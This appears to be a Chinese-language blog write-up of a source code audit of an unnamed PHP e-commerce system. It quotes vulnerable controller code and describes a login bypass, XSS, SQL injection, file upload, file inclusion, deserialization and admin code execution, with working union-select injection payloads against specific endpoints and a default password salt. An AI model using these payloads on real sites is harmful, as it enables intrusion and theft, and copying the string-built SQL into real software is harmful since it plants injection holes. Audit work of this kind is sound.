记录一次代码审计 背景 之所以这么叫,实在不知道这套代码应该怎么叫了
看的这套是代码量最多的一套
控制器数量存在一定差距
前台权限绕过 定位api/controller/Base.php的checkLogin方法
写的有点搞笑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  function  checkLogin (    $user  = session('user' );     $user ['expire_time' ] = time() + C('session.expire' );          if  (time() > $user ['expire_time' ] || !$user ) DataReturn::returnBase64Json(302 , '校验失败,需要重新登录!' ,'/dist/pages/login.html' );                    if (isset ($user ['user_id' ]))     {         $user_info  = db('users' )->where('user_id' ,$user ['user_id' ] )->find();                  if  (!$user_info ) DataReturn::returnBase64Json(302 , '获取用户信息失败' ,'/dist/pages/login.html' );                  $this ->user_id = $user_info ['user_id' ];         $this ->user_info = $user_info ;         if  ($user_info ['is_lock' ] == 1 ) DataReturn::returnBase64Json(302 , '此用户已锁定!' ,'/dist/pages/login.html' );     }     return  true ;  } 
猜测开发可能是想,一天内的自动登录问题,但是逻辑出了问题
在未登录的状态下,session为空 
此时的$user为null 
下面给$user赋值 
$user 不为空了基本就是当前时间和一天后的时间进行判断,肯定不满足 
本来$user是空的,赋值之后不空了,所以直接跳过了登录 
下面又检测如果存在 user_id,不存在 
导致直接返回true 
 
前台XSS 未设置全局过滤
都是在写入数据库是实体化的,总会有很多疏漏
或者
多个地方打一打就好了
未授权注入 这个注入点在api接口,对比了一下旧版本的,
三个版本都存在api/controller/Business.php的order_detail方法
复现 
但是加密比较难搞盐值太长了
默认盐值JUD6FCtZsqrmVXc2apev4TRn3O8gAhxbSlH9wfPN
加密方式md5(md5(pass).salt)
废弃的上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public  function  mycode (    $user_id =$this ->user_id;     $wxcode =M('users' )->where(['user_id' =>$user_id ])->value('wx_code' );     if (!empty ($wxcode ) && file_exists($wxcode )){         DataReturn::returnJson('200' ,'' ,['imageurl' =>request()->domain().'/' .$wxcode ]);     }else {         $paymentPlugin  = M('Plugin' )->where("code='miniAppPay' and  type = 'payment' " )->find();          $config_value  = unserialize($paymentPlugin ['config_value' ]);          $appid  = $config_value ['appid' ];          $appsecret  = $config_value ['appsecret' ];          $post_arr  = [                          'scene'  => 'user_id$' .$user_id ,         ];         $jssdk  = new  JssdkLogic($appid ,$appsecret );         $base64 =$jssdk ->getwxacodeunlimit($post_arr );         if (preg_match('/^(data:\s*image\/(\w+);base64,)/' , $base64 , $img )){             $type  = $img [2 ];         }else {             DataReturn::returnJson('400' ,'获取失败' );         }         $file  = 'public/wxcode/' .date('Ymd' , time()).'/' ;                      if  (!file_exists($file )) {             mkdir($file , 0777 , true );         }         $imgpath  = $file  . md5(time()).'.' .$type ;                  file_put_contents($imgpath ,base64_decode(str_replace($img [1 ],'' ,$base64 )));                  M('users' )->where(['user_id' =>$user_id ])->update(['wx_code' =>$imgpath ]);         DataReturn::returnJson('200' ,'' ,['imageurl' =>request()->domain().'/' .$imgpath ]);     } } 
原因是因为,不存在相关字段
后台任意文件上传 后台的这三个方法,都是任意文件上传
反序列化漏洞 结合注入使用
通用的
api/controller/shop/Order.php的return_info方法
1为注入点,2为反序列化点
payload 
地刘刘哥字段为16进制的反序列化paylaod
1 GET /shop/order/return_info?id=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0xa1a1a1a1,17,18,19,20,21,22,23-- # 
需要使用get方法,不然post方法会走update报错
新版本的反序列化漏洞 和上面一样的权限
在goods控制器中,同样的操作
payload 
第14个字段为反序列化数据
1 GET /shop/goods/addEditGoods?id=1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,0xa1a1a1,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+ 
文件包含漏洞 三个版本都不一样
第一种 
/shop/order/order_print
参数:order_id存在注入 
参数template存在文件包含 
需要构造注入,使之正常运行 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  function  order_print (    $order_id  = I('order_id' );     $orderLogic  = new  OrderLogic();     $order  = $orderLogic ->getOrderInfo($order_id );     $order ['province' ] = getRegionName($order ['province' ]);     $order ['city' ] = getRegionName($order ['city' ]);     $order ['district' ] = getRegionName($order ['district' ]);     $order ['full_address' ] = $order ['province' ].' ' .$order ['city' ].' ' .$order ['district' ].' ' . $order ['address' ];     $orderGoods  = $orderLogic ->getOrderGoods($order_id );     $shop  = tpCache('shop_info' );     $this ->assign('order' ,$order );     $this ->assign('shop' ,$shop );     $this ->assign('orderGoods' ,$orderGoods );     $template  = I('template' ,'print' );     return  $this ->fetch($template ); } 
/shop/promotion/search_goods
最新版可选项 
/mobile/index/index
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  function  index ( $viewname  = null   )    $ad  = Db::name('ad' )->where(['status' => 1 ])->select();     $config  = Db::name('config' )->where(['name' => 'web_site_description' ])->limit(1 , 1 )->value('value' );     $user  = session('user' );     $user ["payment_count" ] = M('user_payment' )->where('user_id' , $this ->user_id)->count();     $user ["subaccount_count" ] = M('users_sub' )->where('user_id' , $this ->user_id)->count();     $users  = db('users' )->where(['user_id' =>$this ->user_id])->find();     $real_name_status  = $users ["real_name_status" ];          $user ["is_identity" ] = ($users ["real_name_status" ]==2 )?"已认证" :(($users ["real_name_status" ]==1 )?"认证中" :(($users ["real_name_status" ]==0 )?"未认证" :(($users ["real_name_status" ]==-1 )?"已驳回" :"" )));     $user ["is_identity_i" ] = ($users ["real_name_status" ]==2 )?1 :0 ;;          $this ->assign('ad' , $ad );     $this ->assign('user' , $user );     $this ->assign('conent' , $config );     $this ->assign('real_name_status' , $real_name_status );     if ( $viewname ==null  )         return  $this ->fetch();     else          return  $this ->fetch($viewname ); } 
远古版本 
只有order下的控制器存在
通用复现 
getOrderInfo存在注入
1 2 3 4 5 6 7 8 9 public  function  getOrderInfo ($order_id 	 	$order  = M('order' )->where("order_id = $order_id " )->find(); 	if (empty ($order ))return  false ; 	$order ['address2' ] = $this ->getAddressName($order ['province' ],$order ['city' ],$order ['district' ]); 	$order ['address2' ] = $order ['address2' ].$order ['address' ]; 	return  $order ; } 
getOrderGoods存在注入
1 2 3 4 5 6 7 8 9 10 public  function  getOrderGoods ($order_id ,$is_send  ='' 	$where  = '' ; 	if ($is_send ){ 		$where =" and o.is_send < $is_send " ; 	} 	$sql  = "SELECT g.*,o.*,(o.goods_num * o.member_goods_price) AS goods_total FROM __PREFIX__order_goods o " . 		"LEFT JOIN __PREFIX__goods g ON o.goods_id = g.goods_id WHERE o.order_id = $order_id  " .$where ; 	$res  = DB::query($sql ); 	return  $res ; } 
但是由于一个是45个字段一个是20个字段,没办法使用注入了
只能正常的搞了
后台代码执行 继承关系如下
admin模块通过base控制器来鉴权
调用auth的check方法
调用getAuthList方法
代码执行
只要存在可以控制数据库condition的就可以
可以通过admin模块下的menu控制器来添加
end